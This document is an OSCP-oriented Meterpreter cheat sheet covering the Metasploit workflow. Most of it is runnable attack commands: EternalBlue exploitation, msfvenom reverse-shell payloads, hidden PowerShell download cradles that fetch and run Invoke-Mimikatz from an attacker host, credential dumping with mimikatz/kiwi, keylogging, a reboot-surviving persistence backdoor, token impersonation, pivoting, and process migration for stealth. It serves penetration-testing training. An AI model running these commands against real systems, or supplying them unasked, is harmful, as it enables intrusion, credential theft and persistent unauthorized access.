Meterpreter Deep Dive
Meterpreter is the most powerful and widely used payload in the Metasploit Framework. It is an advanced, dynamically extensible payload that runs entirely in memory on the target system, leaving minimal traces on disk. Unlike traditional shells, Meterpreter provides a rich set of post-exploitation capabilities including system enumeration, credential harvesting, file system access, network pivoting, and much more — all from a single interactive session.
This guide covers every major aspect of Meterpreter you need to master for the OSCP exam and real-world engagements.
Table of Contents
- Getting a Meterpreter Session
- Basic Meterpreter Commands
- Session Management
- Upgrading a Shell to Meterpreter
- System Enumeration
- Credential Harvesting
- Keylogging
- Screenshot Capture
- File Operations
- Port Forwarding and Pivoting
- Process Migration
- Background Sessions
- Run Scripts
- Meterpreter Extensions
- PowerShell Integration
1. Getting a Meterpreter Session
There are three primary ways to obtain a Meterpreter session:
Method 1: Via Exploit Module (Automatic)
When an exploit module successfully compromises a target, Metasploit automatically spawns a Meterpreter session if the payload is set to a Meterpreter variant.
use exploit/windows/smb/ms17_010_eternalblue
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set RHOSTS 10.10.10.10
set LHOST 10.10.14.5
exploit
Method 2: Via Handler (Manual Listener)
Use exploit/multi/handler to set up a listener that catches incoming Meterpreter connections. This is essential when deploying standalone payloads (e.g., generated with msfvenom).
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.14.5
set LPORT 4444
exploit
Handler flags for automation:
| Flag | Description |
|---|---|
-j |
Job the exploit (run in background) |
-z |
Don’t open a new zoomed session (don’t auto-attach) |
-j -z |
Run handler in background without auto-attaching (most common combo) |
# Start a background handler that won't auto-attach
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.14.5
set LPORT 4444
exploit -j -z
Method 3: Via Upload and Execute
Generate a standalone Meterpreter binary with msfvenom, upload it to the target, and execute it. The binary connects back to your handler.
# Generate payload on attacker machine
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4444 -f exe -o meterpreter.exe
# Set up handler
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.14.5
set LPORT 4444
exploit -j -z
# On target (via existing shell, SMB, etc.), execute meterpreter.exe
# Session will connect back to your handler
2. Basic Meterpreter Commands
Once inside a Meterpreter session, these are the fundamental commands you will use:
| Command | Description |
|---|---|
help |
Display available commands and modules |
background / bg |
Background the current session (return to msfconsole) |
exit |
Close the Meterpreter session and terminate the payload |
getuid |
Get the user identity the session is running as |
getsystem |
Attempt to elevate to SYSTEM privileges |
sysinfo |
Get detailed information about the target system |
ipconfig |
Display network configuration of the target |
run <script> |
Execute a Meterpreter script |
shell |
Drop to a raw system command shell (cmd.exe or /bin/sh) |
execute |
Execute a command or program on the target |
Key Command Examples
# Check who you are running as
getuid
# Attempt privilege escalation to SYSTEM
getsystem
# Get full system information
sysinfo
# Drop to a raw cmd.exe shell
shell
Important distinction: shell gives you a raw command shell, while Meterpreter commands run natively in the Meterpreter environment. Meterpreter commands are generally faster, more reliable, and don’t leave command history on disk.
3. Session Management
Session management is performed from the msfconsole level (not inside a Meterpreter session). Use these commands when you have multiple sessions open.
| Command | Description |
|---|---|
sessions -l |
List all active sessions |
sessions -i <id> |
Interact with a specific session by ID |
sessions -v |
List sessions with verbose information |
sessions -k |
Kill (terminate) a specific session |
sessions -K |
Kill ALL active sessions |
sessions -u <id> |
Upgrade a shell session to Meterpreter |
# List all sessions
sessions -l
# Switch to session 3
sessions -i 3
# List sessions with verbose details
sessions -v
# Kill session 2
sessions -k 2
# Kill all sessions
sessions -K
# Upgrade shell session 1 to Meterpreter
sessions -u 1
4. Upgrading a Shell to Meterpreter
Sometimes you get a basic shell instead of Meterpreter. Upgrading gives you the full Meterpreter feature set.
Method 1: sessions -u (Automatic Upgrade)
From the msfconsole prompt:
sessions -u 1
This injects a Meterpreter stub into the existing shell session. Works best when the shell is stable and the architecture matches.
Method 2: post/multi/manage/shell_to_meterpreter
use post/multi/manage/shell_to_meterpreter
set SESSION 1
set LHOST 10.10.14.5
set LPORT 4444
exploit
Method 3: exploit/multi/script/web_delivery
The web_delivery module generates a payload on the fly and delivers it via a web server or PowerShell. Extremely reliable for upgrading shells.
use exploit/multi/script/web_delivery
set TARGET 2 # PowerShell
set URIPATH /payload
set LHOST 10.10.14.5
set PAYLOAD windows/x64/meterpreter/reverse_tcp
exploit
Then on the target’s shell, execute the generated command:
# PowerShell target
powershell.exe -nop -w hidden -e <base64_encoded_command>
Method 4: Manual Upload
# Generate a Meterpreter binary
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.5 LPORT=4445 -f exe -o upgrade.exe
# Upload via existing shell
# Then execute it on the target
5. System Enumeration
System enumeration is the first step after gaining access. Meterpreter provides built-in commands for rapid reconnaissance.
| Command | Description |
|---|---|
sysinfo |
OS, architecture, build number, language, Meterpreter flavor |
getuid |
Current user context |
getpid |
Current process ID |
ps |
List running processes |
services |
List installed services (Windows) |
ipconfig |
Network interfaces and IP addresses |
netstat |
Active network connections and listening ports |
route |
Display routing table |
run getusers |
List all users on the system |
run getcomputer |
Get computer name and domain info |
# Get system information
sysinfo
# Check current user
getuid
# List all running processes
ps
# Check network configuration
ipconfig
# Check active connections
netstat
# Check routing table
route
# List services
services -l
# List all users on the system
run getusers
6. Credential Harvesting
Credential harvesting is one of the most critical post-exploitation activities. Meterpreter provides multiple methods.
Method 1: smart_hashdump
A Meterpreter script that attempts to dump password hashes from the SAM database.
# From within Meterpreter
run post/windows/gather/smart_hashdump
# Or from msfconsole
use post/windows/gather/smart_hashdump
set SESSION 1
exploit
Method 2: Mimikatz via Kiwi Extension
Mimikatz is the gold standard for credential dumping on Windows. The Kiwi extension wraps Mimikatz functionality inside Meterpreter.
# Load the kiwi extension
load kiwi
# Available mimikatz commands
mimikatz_command -h
# Dump all credentials using sekurlsa
mimikatz_command -f samdump::hashes
mimikatz_command -f sekurlsa::logonpasswords
mimikatz_command -f sekurlsa::wdigest
mimikatz_command -f sekurlsa::kerberos
mimikatz_command -f sekurlsa::searchPasswords
# Dump SAM hashes
mimikatz_command -f samdump::sam
mimikatz_command -f samdump::secrets
# Kerberos ticket extraction
mimikatz_command -f kerberos::list
mimikatz_command -f kerberos::tickets
# DPAPI credentials
mimikatz_command -f dpapi::chrome
Method 3: credential_collect Script
run credential_collect
Method 4: dump_mimikatz Script
A convenience script that wraps common Mimikatz operations:
run dump_mimikatz
Credential Harvesting Summary Table
| Method | Requires SYSTEM | Extracts | Reliability |
|---|---|---|---|
smart_hashdump |
Yes (SYSTEM) | LM/NTLM hashes | High |
mimikatz sekurlsa |
Yes (SYSTEM) | Plaintext passwords, NTLM, Kerberos | Very High |
mimikatz samdump |
Yes (SYSTEM) | SAM hashes | High |
mimikatz kerberos |
No (user ok) | Kerberos tickets | High |
credential_collect |
Varies | Multiple sources | Medium |
7. Keylogging
Meterpreter can capture keystrokes on the target system.
| Command | Description |
|---|---|
keyscan_start |
Start the keystroke logger |
keyscan_dump |
Dump captured keystrokes to screen |
keyscan_stop |
Stop the keystroke logger |
# Start capturing keystrokes
keyscan_start
# Wait some time, then dump captured keys
keyscan_dump
# Stop capturing
keyscan_stop
Note: Keylogging captures input at the application level. It works best when the target user is actively typing on the system.
8. Screenshot Capture
Capture the target’s screen to see what the user is doing.
Method 1: Built-in screenshot Command
# Take a screenshot (saved to attacker's loot directory)
screenshot
Method 2: Post Module
# From msfconsole
use post/windows/gather/screenshot
set SESSION 1
exploit
Screenshots are saved in the Metasploit loot directory (~/.msf4/loot/) and can be viewed with the loot command.
9. File Operations
Meterpreter provides a full file system interface that operates in memory — no file access is logged on the target.
| Command | Description |
|---|---|
cd <dir> |
Change directory on the target |
ls / dir |
List directory contents |
pwd |
Print working directory |
upload <local> [remote] |
Upload a file from attacker to target |
download <remote> [local] |
Download a file from target to attacker |
cat <file> |
Display file contents |
edit <file> |
Edit a file (opens local editor) |
rm <file> |
Delete a file |
mkdir <dir> |
Create a directory |
search -f <name> |
Search for files by name |
execute -f <cmd> |
Execute a program on the target |
# Navigate the file system
cd C:\Users\Administrator\Desktop
pwd
ls
# View a file
cat secrets.txt
# Upload a tool from your attacker machine
upload /root/tools/linpeas.exe C:\Users\Public\
# Download a file from the target
download C:\Windows\SYSTEM32\config\SAM
# Search for files
search -f *.log
search -f *.pdf -d C:\Users\
# Delete a file
rm C:\Users\Public\malware.exe
# Create a directory
mkdir C:\Temp\tools
# Execute a program
execute -f cmd.exe -i -H
Execute flags:
| Flag | Description |
|---|---|
-f |
Command or program to execute |
-c |
Run the command and close immediately |
-H |
Hide the window |
-i |
Interact with the process (open a new session) |
-m |
Method to execute (e.g., process.create, shell) |
10. Port Forwarding and Pivoting
Pivoting allows you to use a compromised host as a proxy to access other systems on the internal network.
Port Forwarding
Forward a port from the target machine to your attacker machine (or vice versa).
| Command | Description |
|---|---|
portfwd add -l <local_port> -p <remote_port> -r <remote_ip> |
Add a port forward |
portfwd list |
List active port forwards |
portfwd del -l <local_port> |
Remove a port forward |
portfwd flush |
Remove all port forwards |
# Forward port 80 on the target to port 8080 on your attacker
portfwd add -l 8080 -p 80 -r 10.10.10.50
# Now access the target's web server via localhost:8080
# http://localhost:8080
# List active forwards
portfwd list
# Remove a forward
portfwd del -l 8080
# Remove all forwards
portfwd flush
Routing
Add routes through the Meterpreter session to access the target’s internal network.
| Command | Description |
|---|---|
route add <subnet> <mask> <session> |
Add a route through a session |
route delete <subnet> <session> |
Delete a route |
route remove <session> |
Remove all routes for a session |
route print |
Print the routing table |
# From msfconsole (not inside Meterpreter)
# Add route to the target's internal network through session 1
route add 10.10.10.0 255.255.255.0 1
# Print routing table
route print
# Delete a route
route delete 10.10.10.0 1
SOCKS Proxy Setup
Turn your Meterpreter session into a SOCKS proxy for full network pivoting with tools like proxychains.
# In msfconsole
use auxiliary/server/socks_proxy
set SRVHOST 0.0.0.0
set SRVPORT 1080
set VERSION 4a
exploit -j -z
# Add route through the Meterpreter session
route add 10.10.10.0 255.255.255.0 1
Then configure /etc/proxychains4.conf on your attacker machine:
socks4a 127.0.0.1 1080
Now use any tool through the proxy:
proxychains4 nmap -sT -Pn -p 80,445,3389 10.10.10.50
proxychains4 firefox http://10.10.10.50
Pivoting Workflow Summary
- Get Meterpreter session on the initial foothold host
- Enumerate internal network using
ipconfig,route print,netstat - Add route from msfconsole:
route add <subnet> <mask> <session> - Set up SOCKS proxy via
auxiliary/server/socks_proxy - Use proxychains with nmap, browsers, or other tools to pivot
- Alternatively use portfwd for specific port forwarding needs
11. Process Migration
Process migration moves the Meterpreter payload from its current process to another process on the target. This is critical for stability, privilege, and stealth.
Why Migrate?
| Reason | Explanation |
|---|---|
| Stability | If the original process crashes (e.g., web server restarts), you lose your session. Migrating to a stable process (like explorer.exe or svchost.exe) prevents this. |
| Privilege | Migrating to a process running under a higher-privileged user can elevate your access. |
| Stealth | Migrating to a legitimate system process makes detection harder. |
| Architecture | Migrating between 32-bit and 64-bit processes changes what extensions and scripts are available. |
How to Migrate
# List all running processes
ps
# Migrate to a specific process by PID
migrate 4532
# Or by process name
migrate explorer.exe
Migration Best Practices
- To
explorer.exe: Good for interactive user context, stable on workstations - To
svchost.exe: Good for SYSTEM context, stable on servers - To
lsass.exe: High privilege but may trigger AV/EDR alerts - Always check architecture: A 64-bit Meterpreter can load 64-bit extensions; a 32-bit process limits you to 32-bit extensions
# Check current process
getpid
ps | grep <your_pid>
# Find a good migration target
ps
# Migrate
migrate <pid>
# Verify
getpid
getuid
12. Background Sessions
Working with multiple sessions efficiently requires mastering background operations.
Backgrounding a Session
# From within Meterpreter
background
# OR
bg
# OR press Ctrl+Z
Returning to a Session
# From msfconsole
sessions -i 1
Starting Background Handlers
# Start handler as a background job without auto-attaching
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.14.5
set LPORT 4444
exploit -j -z
Managing Multiple Sessions
# List all sessions
sessions -l
# Interact with session 3
sessions -i 3
# Background current session
background
# Interact with session 1
sessions -i 1
# Kill session 2
sessions -k 2
13. Run Scripts
Meterpreter scripts (also called “resource scripts” or “post modules”) automate common tasks. Execute them with run <script> from within Meterpreter or use post/... from msfconsole.
Essential Scripts
| Script | Description |
|---|---|
run getsystem |
Attempt to elevate to SYSTEM (same as getsystem command) |
run local_exploit_suggester |
Suggest local privilege escalation exploits for the target |
run smart_hashdump |
Dump password hashes from SAM/LSA |
run persistence |
Install a persistent Meterpreter backdoor |
run enum_services |
Enumerate Windows services for exploitation |
run enum_users |
Enumerate users and groups |
run dump_mimikatz |
Dump credentials using Mimikatz |
run getdesktop |
Capture screenshots of all user desktops |
run post/windows/gather/enum_applications |
Enumerate installed applications |
run multi_console_command |
Run multiple commands at once |
Script Examples
# Privilege escalation suggestions
run local_exploit_suggester
# Persistent backdoor (reconnects on reboot)
run persistence -U -i 5 -p 4444 -r 10.10.14.5
# Enumerate services
run enum_services
# Enumerate users
run enum_users
# Dump credentials
run dump_mimikatz
# Get desktop screenshots
run getdesktop -t
Persistence Script Flags
| Flag | Description |
|---|---|
-A |
Automatically start a matching multi/handler |
-X |
Start payload at boot (registry Run key) |
-U |
Start payload at user login (user-specific) |
-I |
Install as an AutoStart service |
-h |
Host to listen on for reconnect |
-p |
Port to connect back to |
-r |
Attacker IP address |
-i |
Interval (seconds) between reconnect attempts |
-s |
Sliding window for max reconnect time |
14. Meterpreter Extensions
Extensions add new functionality to a Meterpreter session. They are loaded dynamically and extend the available command set.
Available Extensions
| Extension | Description |
|---|---|
kiwi |
Mimikatz integration for credential dumping |
powershell |
PowerShell integration for execution and import |
stdapi |
Standard API (loaded by default) |
incognito |
Token manipulation and impersonation |
priv |
Privilege escalation utilities |
spartan |
Encrypted C2 communication (requires setup) |
Loading Extensions
# Load an extension
load kiwi
load powershell
load incognito
load priv
# Check loaded extensions
# (extensions are listed in the help output after loading)
# Unload an extension
unload kiwi
Kiwi Extension (Mimikatz)
load kiwi
# Available commands after loading:
# mimikatz_command
# creds_all
# dcsync
# kerberos_list
# samdump
# wdigest_list
# etc.
# Dump all credentials in one command
creds_all
# Specific credential types
kerberos_list
wdigest_list
ts::list # Terminal Services credentials
Incognito Extension
load incognito
# List available tokens
list_tokens -u
list_tokens -g
# Impersonate a token
impersonate_token "DOMAIN\\Administrator"
# Execute a command with a specific token
execute -f cmd.exe -t -H
15. PowerShell Integration
PowerShell is an incredibly powerful tool within Meterpreter. The PowerShell extension provides deep integration.
Loading the PowerShell Extension
load powershell
Available Commands After Loading
| Command | Description |
|---|---|
powershell_execute <command> |
Execute a PowerShell command |
powershell_import <script> |
Import a PowerShell script from the attacker |
powershell_shell |
Drop into an interactive PowerShell shell |
Usage Examples
# Load the extension
load powershell
# Execute a one-liner
powershell_execute "Get-Process"
powershell_execute "Get-NetUser"
powershell_execute "Invoke-WebRequest -Uri http://10.10.14.5/tool.exe -OutFile C:\Users\Public\tool.exe"
# Import a PowerShell script (from your local machine)
powershell_import /root/empire/launcher.ps1
# Drop to interactive PowerShell
powershell_shell
Common PowerShell Post-Exploitation Commands
# Network enumeration
Get-NetUser
Get-NetComputer
Get-NetSession
Get-NetShare
Get-NetLocalGroup
Get-NetLocalGroupMember
# Process and service enumeration
Get-Process
Get-Service
Get-ChildItem C:\Windows\System32\drivers\etc\hosts
# Download cradle (for additional tools)
Invoke-WebRequest -Uri http://10.10.14.5/Invoke-Mimikatz.ps1 -OutFile C:\Temp\mimikatz.ps1
powershell -ep bypass -c "IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.5/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"
Uploading and Running PowerShell Scripts
# Method 1: Use powershell_import
powershell_import /root/scripts/Invoke-AllChecks.ps1
# Method 2: Upload and execute
upload /root/scripts/Invoke-AllChecks.ps1 C:\Temp\
powershell_execute "C:\Temp\Invoke-AllChecks.ps1"
# Method 3: Download cradle (no file on disk)
powershell_execute "IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.5/script.ps1')"
Quick Reference: Meterpreter Command Cheat Sheet
Session Lifecycle
msfconsole
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST <attacker_ip>
exploit -j -z
sessions -l
sessions -i 1
background
sessions -k 1
Post-Exploitation Checklist
getuid # Who am I?
sysinfo # What system?
getsystem # Escalate to SYSTEM
migrate <pid> # Stabilize session
ipconfig # Network info
run smart_hashdump # Dump hashes
load kiwi # Load Mimikatz
creds_all # Dump all creds
keyscan_start # Start keylogger
screenshot # Capture screen
run local_exploit_suggester # Find more exploits
Pivoting Checklist
route print # Check routes
route add 10.10.10.0 255.255.255.0 1 # Add route
use auxiliary/server/socks_proxy # Start SOCKS
proxychains4 nmap -sT 10.10.10.0/24 # Scan internal network
portfwd add -l 8080 -p 80 -r 10.10.10.50 # Port forward
Common Issues and Troubleshooting
| Issue | Solution |
|---|---|
| Meterpreter session dies immediately | Migrate to a stable process (migrate explorer.exe) |
getsystem fails |
Try run local_exploit_suggester for LPE options |
| Kiwi won’t load | Ensure you’re in a 64-bit process on a 64-bit system; may need SYSTEM |
mimikatz returns no passwords |
WDigest may be disabled; try sekurlsa::logonpasswords first |
| Port forward not working | Verify the route is added; check target firewall |
| SOCKS proxy not routing | Ensure route add is configured before using proxychains |
| PowerShell extension fails | Ensure .NET framework is installed on the target |
| Upload/download fails | Check file paths, permissions, and disk space |
Key Takeaways for OSCP
- Always migrate your Meterpreter session to a stable process immediately after gaining access
- Always try
getsystemto escalate to SYSTEM before credential dumping load kiwi+creds_allis the fastest way to dump credentials on Windowsrun local_exploit_suggesteris your best friend for finding privilege escalation paths- SOCKS proxy + proxychains is the standard pivoting methodology for OSCP
sessions -ucan save you when you get a shell instead of Meterpreterweb_deliveryis the most reliable upgrade method whensessions -ufails- Background your handler with
-j -zso you can continue working in msfconsole - Always check architecture (32-bit vs 64-bit) — it affects what extensions and exploits work
- Use Meterpreter commands over
shellwhenever possible — they are faster, stealthier, and more reliable